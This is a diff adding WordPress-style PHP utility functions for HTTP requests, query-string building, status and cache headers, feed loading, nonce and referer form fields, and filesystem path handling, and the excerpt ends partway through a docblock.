+ * @param string      $url       URL to fetch.
+ * @param string|bool $file_path Optional. File path to write request to. Default false.
+ * @param int         $red       Optional. The number of Redirects followed, Upon 5 being hit,
+ *                               returns false. Default 1.
+ * @return bool|string False on failure and string of headers if HEAD request.
+ */
+function wp_get_http( $url, $file_path = false, $red = 1 ) {
+	@set_time_limit( 60 );
+
+	if ( $red > 5 )
+		return false;
+
+	$options = array();
+	$options['redirection'] = 5;
+
+	if ( false == $file_path )
+		$options['method'] = 'HEAD';
+	else
+		$options['method'] = 'GET';
+
+	$response = wp_safe_remote_request( $url, $options );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	$headers = wp_remote_retrieve_headers( $response );
+	$headers['response'] = wp_remote_retrieve_response_code( $response );
+
+	// WP_HTTP no longer follows redirects for HEAD requests.
+	if ( 'HEAD' == $options['method'] && in_array($headers['response'], array(301, 302)) && isset( $headers['location'] ) ) {
+		return wp_get_http( $headers['location'], $file_path, ++$red );
+	}
+
+	if ( false == $file_path )
+		return $headers;
+
+	// GET request - write it to the supplied filename
+	$out_fp = fopen($file_path, 'w');
+	if ( !$out_fp )
+		return $headers;
+
+	fwrite( $out_fp,  wp_remote_retrieve_body( $response ) );
+	fclose($out_fp);
+	clearstatcache();
+
+	return $headers;
+}
+
+/**
+ * Retrieve HTTP Headers from URL.
+ *
+ * @since 1.5.1
+ *
+ * @param string $url        URL to retrieve HTTP headers from.
+ * @param bool   $deprecated Not Used.
+ * @return bool|string False on failure, headers on success.
+ */
+function wp_get_http_headers( $url, $deprecated = false ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.7' );
+
+	$response = wp_safe_remote_head( $url );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	return wp_remote_retrieve_headers( $response );
+}
+
+/**
+ * Whether the publish date of the current post in the loop is different from the
+ * publish date of the previous post in the loop.
+ *
+ * @since 0.71
+ *
+ * @global string $currentday  The day of the current post in the loop.
+ * @global string $previousday The day of the previous post in the loop.
+ *
+ * @return int 1 when new day, 0 if not a new day.
+ */
+function is_new_day() {
+	global $currentday, $previousday;
+	if ( $currentday != $previousday )
+		return 1;
+	else
+		return 0;
+}
+
+/**
+ * Build URL query based on an associative and, or indexed array.
+ *
+ * This is a convenient function for easily building url queries. It sets the
+ * separator to '&' and uses _http_build_query() function.
+ *
+ * @since 2.3.0
+ *
+ * @see _http_build_query() Used to build the query
+ * @see http://us2.php.net/manual/en/function.http-build-query.php for more on what
+ *		http_build_query() does.
+ *
+ * @param array $data URL-encode key/value pairs.
+ * @return string URL-encoded string.
+ */
+function build_query( $data ) {
+	return _http_build_query( $data, null, '&', '', false );
+}
+
+/**
+ * From php.net (modified by Mark Jaquith to behave like the native PHP5 function).
+ *
+ * @since 3.2.0
+ * @access private
+ *
+ * @see http://us1.php.net/manual/en/function.http-build-query.php
+ *
+ * @param array|object  $data       An array or object of data. Converted to array.
+ * @param string        $prefix     Optional. Numeric index. If set, start parameter numbering with it.
+ *                                  Default null.
+ * @param string        $sep        Optional. Argument separator; defaults to 'arg_separator.output'.
+ *                                  Default null.
+ * @param string        $key        Optional. Used to prefix key name. Default empty.
+ * @param bool          $urlencode  Optional. Whether to use urlencode() in the result. Default true.
+ *
+ * @return string The query string.
+ */
+function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) {
+	$ret = array();
+
+	foreach ( (array) $data as $k => $v ) {
+		if ( $urlencode)
+			$k = urlencode($k);
+		if ( is_int($k) && $prefix != null )
+			$k = $prefix.$k;
+		if ( !empty($key) )
+			$k = $key . '%5B' . $k . '%5D';
+		if ( $v === null )
+			continue;
+		elseif ( $v === FALSE )
+			$v = '0';
+
+		if ( is_array($v) || is_object($v) )
+			array_push($ret,_http_build_query($v, '', $sep, $k, $urlencode));
+		elseif ( $urlencode )
+			array_push($ret, $k.'='.urlencode($v));
+		else
+			array_push($ret, $k.'='.$v);
+	}
+
+	if ( null === $sep )
+		$sep = ini_get('arg_separator.output');
+
+	return implode($sep, $ret);
+}
+
+/**
+ * Retrieve a modified URL query string.
+ *
+ * You can rebuild the URL and append a new query variable to the URL query by
+ * using this function. You can also retrieve the full URL with query data.
+ *
+ * Adding a single key & value or an associative array. Setting a key value to
+ * an empty string removes the key. Omitting oldquery_or_uri uses the $_SERVER
+ * value. Additional values provided are expected to be encoded appropriately
+ * with urlencode() or rawurlencode().
+ *
+ * @since 1.5.0
+ *
+ * @param string|array $param1 Either newkey or an associative_array.
+ * @param string       $param2 Either newvalue or oldquery or URI.
+ * @param string       $param3 Optional. Old query or URI.
+ * @return string New URL query string.
+ */
+function add_query_arg() {
+	$args = func_get_args();
+	if ( is_array( $args[0] ) ) {
+		if ( count( $args ) < 2 || false === $args[1] )
+			$uri = $_SERVER['REQUEST_URI'];
+		else
+			$uri = $args[1];
+	} else {
+		if ( count( $args ) < 3 || false === $args[2] )
+			$uri = $_SERVER['REQUEST_URI'];
+		else
+			$uri = $args[2];
+	}
+
+	if ( $frag = strstr( $uri, '#' ) )
+		$uri = substr( $uri, 0, -strlen( $frag ) );
+	else
+		$frag = '';
+
+	if ( 0 === stripos( $uri, 'http://' ) ) {
+		$protocol = 'http://';
+		$uri = substr( $uri, 7 );
+	} elseif ( 0 === stripos( $uri, 'https://' ) ) {
+		$protocol = 'https://';
+		$uri = substr( $uri, 8 );
+	} else {
+		$protocol = '';
+	}
+
+	if ( strpos( $uri, '?' ) !== false ) {
+		list( $base, $query ) = explode( '?', $uri, 2 );
+		$base .= '?';
+	} elseif ( $protocol || strpos( $uri, '=' ) === false ) {
+		$base = $uri . '?';
+		$query = '';
+	} else {
+		$base = '';
+		$query = $uri;
+	}
+
+	wp_parse_str( $query, $qs );
+	$qs = urlencode_deep( $qs ); // this re-URL-encodes things that were already in the query string
+	if ( is_array( $args[0] ) ) {
+		$kayvees = $args[0];
+		$qs = array_merge( $qs, $kayvees );
+	} else {
+		$qs[ $args[0] ] = $args[1];
+	}
+
+	foreach ( $qs as $k => $v ) {
+		if ( $v === false )
+			unset( $qs[$k] );
+	}
+
+	$ret = build_query( $qs );
+	$ret = trim( $ret, '?' );
+	$ret = preg_replace( '#=(&|$)#', '$1', $ret );
+	$ret = $protocol . $base . $ret . $frag;
+	$ret = rtrim( $ret, '?' );
+	return $ret;
+}
+
+/**
+ * Removes an item or list from the query string.
+ *
+ * @since 1.5.0
+ *
+ * @param string|array $key   Query key or keys to remove.
+ * @param bool|string  $query Optional. When false uses the $_SERVER value. Default false.
+ * @return string New URL query string.
+ */
+function remove_query_arg( $key, $query = false ) {
+	if ( is_array( $key ) ) { // removing multiple keys
+		foreach ( $key as $k )
+			$query = add_query_arg( $k, false, $query );
+		return $query;
+	}
+	return add_query_arg( $key, false, $query );
+}
+
+/**
+ * Walks the array while sanitizing the contents.
+ *
+ * @since 0.71
+ *
+ * @param array $array Array to walk while sanitizing contents.
+ * @return array Sanitized $array.
+ */
+function add_magic_quotes( $array ) {
+	foreach ( (array) $array as $k => $v ) {
+		if ( is_array( $v ) ) {
+			$array[$k] = add_magic_quotes( $v );
+		} else {
+			$array[$k] = addslashes( $v );
+		}
+	}
+	return $array;
+}
+
+/**
+ * HTTP request for URI to retrieve content.
+ *
+ * @since 1.5.1
+ *
+ * @see wp_safe_remote_get()
+ *
+ * @param string $uri URI/URL of web page to retrieve.
+ * @return false|string HTTP content. False on failure.
+ */
+function wp_remote_fopen( $uri ) {
+	$parsed_url = @parse_url( $uri );
+
+	if ( !$parsed_url || !is_array( $parsed_url ) )
+		return false;
+
+	$options = array();
+	$options['timeout'] = 10;
+
+	$response = wp_safe_remote_get( $uri, $options );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	return wp_remote_retrieve_body( $response );
+}
+
+/**
+ * Set up the WordPress query.
+ *
+ * @since 2.0.0
+ *
+ * @param string $query_vars Default WP_Query arguments.
+ */
+function wp( $query_vars = '' ) {
+	global $wp, $wp_query, $wp_the_query;
+	$wp->main( $query_vars );
+
+	if ( !isset($wp_the_query) )
+		$wp_the_query = $wp_query;
+}
+
+/**
+ * Retrieve the description for the HTTP status.
+ *
+ * @since 2.3.0
+ *
+ * @param int $code HTTP status code.
+ * @return string Empty string if not found, or description if found.
+ */
+function get_status_header_desc( $code ) {
+	global $wp_header_to_desc;
+
+	$code = absint( $code );
+
+	if ( !isset( $wp_header_to_desc ) ) {
+		$wp_header_to_desc = array(
+			100 => 'Continue',
+			101 => 'Switching Protocols',
+			102 => 'Processing',
+
+			200 => 'OK',
+			201 => 'Created',
+			202 => 'Accepted',
+			203 => 'Non-Authoritative Information',
+			204 => 'No Content',
+			205 => 'Reset Content',
+			206 => 'Partial Content',
+			207 => 'Multi-Status',
+			226 => 'IM Used',
+
+			300 => 'Multiple Choices',
+			301 => 'Moved Permanently',
+			302 => 'Found',
+			303 => 'See Other',
+			304 => 'Not Modified',
+			305 => 'Use Proxy',
+			306 => 'Reserved',
+			307 => 'Temporary Redirect',
+
+			400 => 'Bad Request',
+			401 => 'Unauthorized',
+			402 => 'Payment Required',
+			403 => 'Forbidden',
+			404 => 'Not Found',
+			405 => 'Method Not Allowed',
+			406 => 'Not Acceptable',
+			407 => 'Proxy Authentication Required',
+			408 => 'Request Timeout',
+			409 => 'Conflict',
+			410 => 'Gone',
+			411 => 'Length Required',
+			412 => 'Precondition Failed',
+			413 => 'Request Entity Too Large',
+			414 => 'Request-URI Too Long',
+			415 => 'Unsupported Media Type',
+			416 => 'Requested Range Not Satisfiable',
+			417 => 'Expectation Failed',
+			418 => 'I\'m a teapot',
+			422 => 'Unprocessable Entity',
+			423 => 'Locked',
+			424 => 'Failed Dependency',
+			426 => 'Upgrade Required',
+			428 => 'Precondition Required',
+			429 => 'Too Many Requests',
+			431 => 'Request Header Fields Too Large',
+
+			500 => 'Internal Server Error',
+			501 => 'Not Implemented',
+			502 => 'Bad Gateway',
+			503 => 'Service Unavailable',
+			504 => 'Gateway Timeout',
+			505 => 'HTTP Version Not Supported',
+			506 => 'Variant Also Negotiates',
+			507 => 'Insufficient Storage',
+			510 => 'Not Extended',
+			511 => 'Network Authentication Required',
+		);
+	}
+
+	if ( isset( $wp_header_to_desc[$code] ) )
+		return $wp_header_to_desc[$code];
+	else
+		return '';
+}
+
+/**
+ * Set HTTP status header.
+ *
+ * @since 2.0.0
+ *
+ * @see get_status_header_desc()
+ *
+ * @param int $code HTTP status code.
+ */
+function status_header( $code ) {
+	$description = get_status_header_desc( $code );
+
+	if ( empty( $description ) )
+		return;
+
+	$protocol = $_SERVER['SERVER_PROTOCOL'];
+	if ( 'HTTP/1.1' != $protocol && 'HTTP/1.0' != $protocol )
+		$protocol = 'HTTP/1.0';
+	$status_header = "$protocol $code $description";
+	if ( function_exists( 'apply_filters' ) )
+
+		/**
+		 * Filter an HTTP status header.
+		 *
+		 * @since 2.2.0
+		 *
+		 * @param string $status_header HTTP status header.
+		 * @param int    $code          HTTP status code.
+		 * @param string $description   Description for the status code.
+		 * @param string $protocol      Server protocol.
+		 */
+		$status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol );
+
+	@header( $status_header, true, $code );
+}
+
+/**
+ * Get the header information to prevent caching.
+ *
+ * The several different headers cover the different ways cache prevention
+ * is handled by different browsers
+ *
+ * @since 2.8.0
+ *
+ * @return array The associative array of header names and field values.
+ */
+function wp_get_nocache_headers() {
+	$headers = array(
+		'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT',
+		'Cache-Control' => 'no-cache, must-revalidate, max-age=0',
+		'Pragma' => 'no-cache',
+	);
+
+	if ( function_exists('apply_filters') ) {
+		/**
+		 * Filter the cache-controlling headers.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @see wp_get_nocache_headers()
+		 *
+		 * @param array $headers {
+		 *     Header names and field values.
+		 *
+		 *     @type string $Expires       Expires header.
+		 *     @type string $Cache-Control Cache-Control header.
+		 *     @type string $Pragma        Pragma header.
+		 * }
+		 */
+		$headers = (array) apply_filters( 'nocache_headers', $headers );
+	}
+	$headers['Last-Modified'] = false;
+	return $headers;
+}
+
+/**
+ * Set the headers to prevent caching for the different browsers.
+ *
+ * Different browsers support different nocache headers, so several
+ * headers must be sent so that all of them get the point that no
+ * caching should occur.
+ *
+ * @since 2.0.0
+ *
+ * @see wp_get_nocache_headers()
+ */
+function nocache_headers() {
+	$headers = wp_get_nocache_headers();
+
+	unset( $headers['Last-Modified'] );
+
+	// In PHP 5.3+, make sure we are not sending a Last-Modified header.
+	if ( function_exists( 'header_remove' ) ) {
+		@header_remove( 'Last-Modified' );
+	} else {
+		// In PHP 5.2, send an empty Last-Modified header, but only as a
+		// last resort to override a header already sent. #WP23021
+		foreach ( headers_list() as $header ) {
+			if ( 0 === stripos( $header, 'Last-Modified' ) ) {
+				$headers['Last-Modified'] = '';
+				break;
+			}
+		}
+	}
+
+	foreach( $headers as $name => $field_value )
+		@header("{$name}: {$field_value}");
+}
+
+/**
+ * Set the headers for caching for 10 days with JavaScript content type.
+ *
+ * @since 2.1.0
+ */
+function cache_javascript_headers() {
+	$expiresOffset = 10 * DAY_IN_SECONDS;
+
+	header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) );
+	header( "Vary: Accept-Encoding" ); // Handle proxies
+	header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + $expiresOffset ) . " GMT" );
+}
+
+/**
+ * Retrieve the number of database queries during the WordPress execution.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return int Number of database queries.
+ */
+function get_num_queries() {
+	global $wpdb;
+	return $wpdb->num_queries;
+}
+
+/**
+ * Whether input is yes or no.
+ *
+ * Must be 'y' to be true.
+ *
+ * @since 1.0.0
+ *
+ * @param string $yn Character string containing either 'y' (yes) or 'n' (no).
+ * @return bool True if yes, false on anything else.
+ */
+function bool_from_yn( $yn ) {
+	return ( strtolower( $yn ) == 'y' );
+}
+
+/**
+ * Load the feed template from the use of an action hook.
+ *
+ * If the feed action does not have a hook, then the function will die with a
+ * message telling the visitor that the feed is not valid.
+ *
+ * It is better to only have one hook for each feed.
+ *
+ * @since 2.1.0
+ *
+ * @uses $wp_query Used to tell if the use a comment feed.
+ */
+function do_feed() {
+	global $wp_query;
+
+	$feed = get_query_var( 'feed' );
+
+	// Remove the pad, if present.
+	$feed = preg_replace( '/^_+/', '', $feed );
+
+	if ( $feed == '' || $feed == 'feed' )
+		$feed = get_default_feed();
+
+	$hook = 'do_feed_' . $feed;
+	if ( ! has_action( $hook ) )
+		wp_die( __( 'ERROR: This is not a valid feed template.' ), '', array( 'response' => 404 ) );
+
+	/**
+	 * Fires once the given feed is loaded.
+	 *
+	 * The dynamic hook name, $hook, refers to the feed name.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param bool $is_comment_feed Whether the feed is a comment feed.
+	 */
+	do_action( $hook, $wp_query->is_comment_feed );
+}
+
+/**
+ * Load the RDF RSS 0.91 Feed template.
+ *
+ * @since 2.1.0
+ *
+ * @see load_template()
+ */
+function do_feed_rdf() {
+	load_template( ABSPATH . WPINC . '/feed-rdf.php' );
+}
+
+/**
+ * Load the RSS 1.0 Feed Template.
+ *
+ * @since 2.1.0
+ *
+ * @see load_template()
+ */
+function do_feed_rss() {
+	load_template( ABSPATH . WPINC . '/feed-rss.php' );
+}
+
+/**
+ * Load either the RSS2 comment feed or the RSS2 posts feed.
+ *
+ * @since 2.1.0
+ *
+ * @see load_template()
+ *
+ * @param bool $for_comments True for the comment feed, false for normal feed.
+ */
+function do_feed_rss2( $for_comments ) {
+	if ( $for_comments )
+		load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
+	else
+		load_template( ABSPATH . WPINC . '/feed-rss2.php' );
+}
+
+/**
+ * Load either Atom comment feed or Atom posts feed.
+ *
+ * @since 2.1.0
+ *
+ * @see load_template()
+ *
+ * @param bool $for_comments True for the comment feed, false for normal feed.
+ */
+function do_feed_atom( $for_comments ) {
+	if ($for_comments)
+		load_template( ABSPATH . WPINC . '/feed-atom-comments.php');
+	else
+		load_template( ABSPATH . WPINC . '/feed-atom.php' );
+}
+
+/**
+ * Display the robots.txt file content.
+ *
+ * The echo content should be with usage of the permalinks or for creating the
+ * robots.txt file.
+ *
+ * @since 2.1.0
+ */
+function do_robots() {
+	header( 'Content-Type: text/plain; charset=utf-8' );
+
+	/**
+	 * Fires when displaying the robots.txt file.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'do_robotstxt' );
+
+	$output = "User-agent: *\n";
+	$public = get_option( 'blog_public' );
+	if ( '0' == $public ) {
+		$output .= "Disallow: /\n";
+	} else {
+		$site_url = parse_url( site_url() );
+		$path = ( !empty( $site_url['path'] ) ) ? $site_url['path'] : '';
+		$output .= "Disallow: $path/wp-admin/\n";
+	}
+
+	/**
+	 * Filter the robots.txt output.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Robots.txt output.
+	 * @param bool   $public Whether the site is considered "public".
+	 */
+	echo apply_filters( 'robots_txt', $output, $public );
+}
+
+/**
+ * Test whether blog is already installed.
+ *
+ * The cache will be checked first. If you have a cache plugin, which saves
+ * the cache values, then this will work. If you use the default WordPress
+ * cache, and the database goes away, then you might have problems.
+ *
+ * Checks for the 'siteurl' option for whether WordPress is installed.
+ *
+ * @since 2.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @return bool Whether the blog is already installed.
+ */
+function is_blog_installed() {
+	global $wpdb;
+
+	/*
+	 * Check cache first. If options table goes away and we have true
+	 * cached, oh well.
+	 */
+	if ( wp_cache_get( 'is_blog_installed' ) )
+		return true;
+
+	$suppress = $wpdb->suppress_errors();
+	if ( ! defined( 'WP_INSTALLING' ) ) {
+		$alloptions = wp_load_alloptions();
+	}
+	// If siteurl is not set to autoload, check it specifically
+	if ( !isset( $alloptions['siteurl'] ) )
+		$installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
+	else
+		$installed = $alloptions['siteurl'];
+	$wpdb->suppress_errors( $suppress );
+
+	$installed = !empty( $installed );
+	wp_cache_set( 'is_blog_installed', $installed );
+
+	if ( $installed )
+		return true;
+
+	// If visiting repair.php, return true and let it take over.
+	if ( defined( 'WP_REPAIRING' ) )
+		return true;
+
+	$suppress = $wpdb->suppress_errors();
+
+	/*
+	 * Loop over the WP tables. If none exist, then scratch install is allowed.
+	 * If one or more exist, suggest table repair since we got here because the
+	 * options table could not be accessed.
+	 */
+	$wp_tables = $wpdb->tables();
+	foreach ( $wp_tables as $table ) {
+		// The existence of custom user tables shouldn't suggest an insane state or prevent a clean install.
+		if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table )
+			continue;
+		if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table )
+			continue;
+
+		if ( ! $wpdb->get_results( "DESCRIBE $table;" ) )
+			continue;
+
+		// One or more tables exist. We are insane.
+
+		wp_load_translations_early();
+
+		// Die with a DB error.
+		$wpdb->error = sprintf( __( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ), 'maint/repair.php?referrer=is_blog_installed' );
+		dead_db();
+	}
+
+	$wpdb->suppress_errors( $suppress );
+
+	wp_cache_set( 'is_blog_installed', false );
+
+	return false;
+}
+
+/**
+ * Retrieve URL with nonce added to URL query.
+ *
+ * @since 2.0.4
+ *
+ * @param string     $actionurl URL to add nonce action.
+ * @param int|string $action    Optional. Nonce action name. Default -1.
+ * @param string     $name      Optional. Nonce name. Default '_wpnonce'.
+ * @return string Escaped URL with nonce action added.
+ */
+function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) {
+	$actionurl = str_replace( '&amp;', '&', $actionurl );
+	return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) );
+}
+
+/**
+ * Retrieve or display nonce hidden field for forms.
+ *
+ * The nonce field is used to validate that the contents of the form came from
+ * the location on the current site and not somewhere else. The nonce does not
+ * offer absolute protection, but should protect against most cases. It is very
+ * important to use nonce field in forms.
+ *
+ * The $action and $name are optional, but if you want to have better security,
+ * it is strongly suggested to set those two parameters. It is easier to just
+ * call the function without any parameters, because validation of the nonce
+ * doesn't require any parameters, but since crackers know what the default is
+ * it won't be difficult for them to find a way around your nonce and cause
+ * damage.
+ *
+ * The input name will be whatever $name value you gave. The input value will be
+ * the nonce creation value.
+ *
+ * @since 2.0.4
+ *
+ * @param int|string $action  Optional. Action name. Default -1.
+ * @param string     $name    Optional. Nonce name. Default '_wpnonce'.
+ * @param bool       $referer Optional. Whether to set the referer field for validation. Default true.
+ * @param bool       $echo    Optional. Whether to display or return hidden form field. Default true.
+ * @return string Nonce field HTML markup.
+ */
+function wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true ) {
+	$name = esc_attr( $name );
+	$nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';
+
+	if ( $referer )
+		$nonce_field .= wp_referer_field( false );
+
+	if ( $echo )
+		echo $nonce_field;
+
+	return $nonce_field;
+}
+
+/**
+ * Retrieve or display referer hidden field for forms.
+ *
+ * The referer link is the current Request URI from the server super global. The
+ * input name is '_wp_http_referer', in case you wanted to check manually.
+ *
+ * @since 2.0.4
+ *
+ * @param bool $echo Optional. Whether to echo or return the referer field. Default true.
+ * @return string Referer field HTML markup.
+ */
+function wp_referer_field( $echo = true ) {
+	$referer_field = '<input type="hidden" name="_wp_http_referer" value="'. esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';
+
+	if ( $echo )
+		echo $referer_field;
+	return $referer_field;
+}
+
+/**
+ * Retrieve or display original referer hidden field for forms.
+ *
+ * The input name is '_wp_original_http_referer' and will be either the same
+ * value of wp_referer_field(), if that was posted already or it will be the
+ * current page, if it doesn't exist.
+ *
+ * @since 2.0.4
+ *
+ * @param bool   $echo         Optional. Whether to echo the original http referer. Default true.
+ * @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to.
+ *                             Default 'current'.
+ * @return string Original referer field.
+ */
+function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) {
+	if ( ! $ref = wp_get_original_referer() ) {
+		$ref = 'previous' == $jump_back_to ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] );
+	}
+	$orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />';
+	if ( $echo )
+		echo $orig_referer_field;
+	return $orig_referer_field;
+}
+
+/**
+ * Retrieve referer from '_wp_http_referer' or HTTP referer.
+ *
+ * If it's the same as the current request URL, will return false.
+ *
+ * @since 2.0.4
+ *
+ * @return false|string False on failure. Referer URL on success.
+ */
+function wp_get_referer() {
+	if ( ! function_exists( 'wp_validate_redirect' ) )
+		return false;
+	$ref = false;
+	if ( ! empty( $_REQUEST['_wp_http_referer'] ) )
+		$ref = wp_unslash( $_REQUEST['_wp_http_referer'] );
+	else if ( ! empty( $_SERVER['HTTP_REFERER'] ) )
+		$ref = wp_unslash( $_SERVER['HTTP_REFERER'] );
+
+	if ( $ref && $ref !== wp_unslash( $_SERVER['REQUEST_URI'] ) )
+		return wp_validate_redirect( $ref, false );
+	return false;
+}
+
+/**
+ * Retrieve original referer that was posted, if it exists.
+ *
+ * @since 2.0.4
+ *
+ * @return string|false False if no original referer or original referer if set.
+ */
+function wp_get_original_referer() {
+	if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) && function_exists( 'wp_validate_redirect' ) )
+		return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false );
+	return false;
+}
+
+/**
+ * Recursive directory creation based on full path.
+ *
+ * Will attempt to set permissions on folders.
+ *
+ * @since 2.0.1
+ *
+ * @param string $target Full path to attempt to create.
+ * @return bool Whether the path was created. True if path already exists.
+ */
+function wp_mkdir_p( $target ) {
+	$wrapper = null;
+
+	// Strip the protocol.
+	if( wp_is_stream( $target ) ) {
+		list( $wrapper, $target ) = explode( '://', $target, 2 );
+	}
+
+	// From php.net/mkdir user contributed notes.
+	$target = str_replace( '//', '/', $target );
+
+	// Put the wrapper back on the target.
+	if( $wrapper !== null ) {
+		$target = $wrapper . '://' . $target;
+	}
+
+	/*
+	 * Safe mode fails with a trailing slash under certain PHP versions.
+	 * Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
+	 */
+	$target = rtrim($target, '/');
+	if ( empty($target) )
+		$target = '/';
+
+	if ( file_exists( $target ) )
+		return @is_dir( $target );
+
+	// We need to find the permissions of the parent folder that exists and inherit that.
+	$target_parent = dirname( $target );
+	while ( '.' != $target_parent && ! is_dir( $target_parent ) ) {
+		$target_parent = dirname( $target_parent );
+	}
+
+	// Get the permission bits.
+	if ( $stat = @stat( $target_parent ) ) {
+		$dir_perms = $stat['mode'] & 0007777;
+	} else {
+		$dir_perms = 0777;
+	}
+
+	if ( @mkdir( $target, $dir_perms, true ) ) {
+
+		/*
+		 * If a umask is set that modifies $dir_perms, we'll have to re-set
+		 * the $dir_perms correctly with chmod()
+		 */
+		if ( $dir_perms != ( $dir_perms & ~umask() ) ) {
+			$folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) );
+			for ( $i = 1; $i <= count( $folder_parts ); $i++ ) {
+				@chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms );
+			}
+		}
+
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Test if a give filesystem path is absolute.
+ *
+ * For example, '/foo/bar', or 'c:\windows'.
+ *
+ * @since 2.5.0
+ *
+ * @param string $path File path.
+ * @return bool True if path is absolute, false is not absolute.
+ */
+function path_is_absolute( $path ) {
+	/*
+	 * This is definitive if true but fails if $path does not exist or contains
+	 * a symbolic link.
+	 */
+	if ( realpath($path) == $path )
+		return true;
+
+	if ( strlen($path) == 0 || $path[0] == '.' )
+		return false;
+
+	// Windows allows absolute paths like this.
+	if ( preg_match('#^[a-zA-Z]:\\\\#', $path) )
+		return true;
+
+	// A path starting with / or \ is absolute; anything else is relative.
+	return ( $path[0] == '/' || $path[0] == '\\' );
+}
+
+/**
+ * Join two filesystem paths together.
+ *
+ * For example, 'give me $path relative to $base'. If the $path is absolute,
+ * then it the full path is returned.
+ *
+ * @since 2.5.0
+ *
+ * @param string $base Base path.
+ * @param string $path Path relative to $base.
+ * @return string The path with the base or absolute path.
+ */
+function path_join( $base, $path ) {
+	if ( path_is_absolute($path) )
+		return $path;
+
+	return rtrim($base, '/') . '/' . ltrim($path, '/');
+}
+
+/**
+ * Normalize a filesystem path.
+ *
+ * Replaces backslashes with forward slashes for Windows systems, and ensures
+ * no duplicate slashes exist.
+ *
+ * @since 3.9.0
+ *
+ * @param string $path Path to normalize.
+ * @return string Normalized path.
+ */
+function wp_normalize_path( $path ) {
+	$path = str_replace( '\\', '/', $path );
+	$path = preg_replace( '|/+|','/', $path );
+	return $path;
+}
+
+/**
+ * Determine a writable directory for temporary files.
+ *
+ * Function's preference is the return value of sys_get_temp_dir(),
+ * followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR,
+ * before finally defaulting to /tmp/
+ *
+ * In the event that this function does not find a writable location,
+ * It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file.
+ *
+ * @since 2.5.0
+ *
+ * @return string Writable temporary directory.
+ */
+function get_temp_dir() {
+	static $temp;
+	if ( defined('WP_TEMP_DIR') )
+		return trailingslashit(WP_TEMP_DIR);
+
+	if ( $temp )
+		return trailingslashit( $temp );
+
+	if ( function_exists('sys_get_temp_dir') ) {
+		$temp = sys_get_temp_dir();
+		if ( @is_dir( $temp ) && wp_is_writable( $temp ) )
+			return trailingslashit( $temp );
+	}
+
+	$temp = ini_get('upload_tmp_dir');
+	if ( @is_dir( $temp ) && wp_is_writable( $temp ) )
+		return trailingslashit( $temp );
+
+	$temp = WP_CONTENT_DIR . '/';
+	if ( is_dir( $temp ) && wp_is_writable( $temp ) )
+		return $temp;
+
+	$temp = '/tmp/';
+	return $temp;
+}
+
+/**
+ * Determine if a directory is writable.
+ *
+ * This function is used to work around certain ACL issues in PHP primarily
+ * affecting Windows Servers.
+ *
+ * @since 3.6.0
+ *
+ * @see win_is_writable()
+ *
+ * @param string $path Path to check for write-ability.
+ * @return bool Whether the path is writable.
+ */
+function wp_is_writable( $path ) {
+	if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) )
+		return win_is_writable( $path );
+	else
+		return @is_writable( $path );
+}
+
+/**
+ * Workaround for Windows bug in is_writable() function
+ *
+ * PHP has issues with Windows ACL's for determine if a
+ * directory is writable or not, this works around them by
+ * checking the ability to open files rather than relying
+ * upon PHP to interprate the OS ACL.
+ *
+ * @since 2.8.0
+ *
+ * @see http://bugs.php.net/bug.php?id=27609
+ * @see http://bugs.php.net/bug.php?id=30931
+ *
+ * @param string $path Windows path to check for write-ability.
+ * @return bool Whether the path is writable.
+ */
+function win_is_writable( $path ) {
+
+	if ( $path[strlen( $path ) - 1] == '/' ) // if it looks like a directory, check a random file within the directory
+		return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp');
+	else if ( is_dir( $path ) ) // If it's a directory (and not a file) check a random file within the directory
+		return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );
+
+	// check tmp file for read/write capabilities
+	$should_delete_tmp_file = !file_exists( $path );
+	$f = @fopen( $path, 'a' );
+	if ( $f === false )
+		return false;
+	fclose( $f );
+	if ( $should_delete_tmp_file )
+		unlink( $path );
+	return true;
+}
+
+/**
+ * Get an array containing the current upload directory's path and url.
+ *
+ * Checks the 'upload_path' option, which should be from the web root folder,
+ * and if it isn't empty it will be used. If it is empty, then the path will be
